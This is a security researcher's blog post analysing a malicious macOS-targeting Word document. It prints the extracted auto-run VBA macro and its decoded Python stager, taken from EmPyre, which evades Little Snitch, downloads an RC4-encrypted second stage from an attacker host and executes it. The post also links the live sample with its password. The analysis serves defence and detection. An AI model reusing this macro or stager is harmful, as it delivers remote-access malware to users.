New Attack, Old Tricks
› analyzing a malicious document with a mac-specific payload
2/6/2017
This blog post is the result of a 'collaborative' discussion between various mac security researchers, admins, and malware analysts. The goal of this post therefore is to concisely document and detail the various findings in one (publicly available) place. Mahalo to Snorre (@fstenv), Scott (@0xdabbad00), @noar, @mikeymikey, jaron (@jbradley89), Thomas (@thomasareed), and all others!
Introduction
Today, Monday the 6th, was a busy day for macOS malware! First, Nex (@botherder) posted a great writeup, iKittens: iranian actor resurfaces with malware for mac (macdownloader)", which detailed some new macOS malware. Shortly thereafter, my friend Scott (@0xdabbad00) brought to my attention the following tweet:
A malicious Word document targeting Mac users? I was intrigued :). I grabbed the sample ("U.S. Allies and Rivals Digest Trump's Victory - Carnegie Endowment for International Peace.docm"), noting that only 4 AV engines currently flagged it as malicious:
If you want to play along (carefully!), I've uploaded the malicious document to share :) Grab it
here (password: infect3d).
One can easily confirm that indeed, the file is a Microsoft Word document:
$ file "U.S. Allies and Rivals Digest Trump’s Victory - Carnegie Endowment for International Peace.docm"
Microsoft Word 2007+
Attempting to open the document in Word (within an isolated macOS VM) triggers an expected "this document contains macros" warning:
Analysis
Let's analyze the malicious logic within the document by extracting the embedded macros. As I learned today (thanks @noar!), one can use clamAV's sigtool to extract embedded macros. Neat!
First though, as noted online, recent Word documents are actually "XML files stored in Zip archives"...and that "VBA macros are usually stored in a binary OLE file within the Zip archive, called vbaProject.bin.
So, first decompress ('unzip') the document:
$ unzip "U.S. Allies and Rivals Digest Trump’s Victory - Carnegie Endowment for International Peace.docm"
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: word/_rels/document.xml.rels
inflating: word/document.xml
inflating: word/theme/theme1.xml
inflating: word/vbaProject.bin
inflating: word/_rels/vbaProject.bin.rels
inflating: word/vbaData.xml
inflating: word/settings.xml
inflating: word/stylesWithEffects.xml
inflating: word/styles.xml
inflating: docProps/core.xml
inflating: word/fontTable.xml
inflating: word/webSettings.xml
inflating: docProps/app.xml
Then, pass the word/vbaProject.bin file to the sigtool command, with the --vba flag to extract the embedded macros:
$sigtool --vba word/vbaProject.bin
-------------- start of code ------------------
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
...
Sub autoopen()
Fisher
End Sub
....
Public Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
Public Sub Fisher()
Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
cmd = cmd + "llZF9jb250ZXh0Jyk6c3NsLl9jcmVhdGVfZGVmYXVsdF9odH"
cmd = cmd + "Rwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF"
cmd = cmd + "9jb250ZXh0OwppbXBvcnQgc3lzLCB1cmxsaWIyO2ltcG9ydC"
....
cmd = cmd + "BlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl"
cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="
result = system("echo ""import sys,base64;exec(base64.b64decode(\"" " & cmd & " \""));"" | python &")
End Sub
According to Microsoft, as its name suggests, the "AutoOpen macro runs after you open a new document." So whenever a user opens this document on Mac, in Word, (assuming macros have been/are enabled), the Fisher function will automatically be executed.
The Fisher function decodes a base64 chunk of data (stored in the cmd variable) then executes it via python. Using python's base64 module we can easily decode the data:
$ python
>>> import base64
>>> cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBv .... "
>>> base64.b64decode(cmd)
...
dXFprvsgMBSIyPf = 'atfMzZOqVLbcj'
import ssl;
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context;
import sys, urllib2;
import re, subprocess;
cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
sys.exit()
o = __import__({
2: 'urllib2',
3: 'urllib.request'
}[sys.version_info[0]], fromlist = ['build_opener']).build_opener();
UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';
o.addheaders = [('User-Agent', UA)];
a = o.open('https://www.securitychecking.org:443/index.asp').read();
key = 'fff96aed07cb7ea65e7f031bd714607d';
S, j, out = range(256), 0, []
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for char in a:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
exec(''.join(out))
Python code! The decoded python contained in the macro, is pretty simple to read. In short it:
- checks to make sure LittleSnitch is not running
- downloads a second-stage payload from https://www.securitychecking.org:443/index.asp
- RC4 decrypts this payload (key: fff96aed07cb7ea65e7f031bd714607d)
- executes this now decrypted payload
Does python code look familiar? Yes! It's taken, almost verbatim from the open-source EmPyre project. Specifically the lib/common/stagers.py file:
EmPyre is a "pure Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture." Ok, so the attackers are using an open-source multi-stage post-exploitation agent. Hooray for code reuse I guess? :P
As mentioned above, the goal of the first stage python code is to download and execute a second stage component from https://www.securitychecking.org:443/index.asp. Unfortunately this file is now inaccessible. However, this file was likely just the second-stage component of Empyre (though yes, the attackers could of course download and executed something else).
The second-stage component of Empyre is the persistent agent that affords a remote attacker continuing access to an infected host. How does it persist? Well that's configurable:
(EmPyre) > usemodule persistence
mutli/crontab osx/CreateHijacker osx/launchdaemonexecutable osx/loginhook
So persistence is likely achieved via a:
- cronjob
- dylib hijack
- launch daemon
- login hook
I'm not going to lie, I'm rather smitten to see EmPyre include (and cite!) the dylib hijack technique I detailed at VirusBulletin a few years ago.
CreateHijacker.py
# list of any references/other comments
'Comments': [
'comment',
'https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x'
]
...
adapted from @patrickwardle's script
If the second-stage component of the malware is persisted as a cronjob or a launch daemon, BlockBlock will detect the persistence attempt:
...I'll likely update BlockBlock to monitor for persistence thru login items, even though this is a very archaic and deprecated persistence technique. Regardless tools such as KnockKnock or Dylib Hijack Scanner will be able to reveal the persistent component, regardless of how it is installed :)
The persistent component of EmPyre can also be configured to run a wide range of EmPyre modules (see: lib/modules/collection/osx). These modules allow the attacker to perform a myriad of nefarious actions such as enabling the webcam, dumping the keychain, and accessing a user's browser history:
Ok, what about that www.securitychecking.org site? Well as noted by @noar, VirusTotal previously scanned the site, resolving it to 185.22.174.37:
This IP appears to be geolocated in Russia and was previously been associated with malicious activities such as phishing:
Conclusions
Overall this malware sample isn't particularly advanced. It relies on user interaction (to open a malicious document in Microsoft Word, (not Apple's Pages)), as well as needs macros to be enabled. Most users know never to allow macros - right!?! Moreover using an open-source implant likely ensures that detection software should detect it - right!?
However let's be nice and give the attackers some credit. By using a macros in Word document they are exploiting the weakest link; humans! And moreover since macros are 'legitimate' functionality (vs. say a memory corruption vulnerability) the malware's infection vector doesn't have to worry about crashing the system nor being 'patched' out.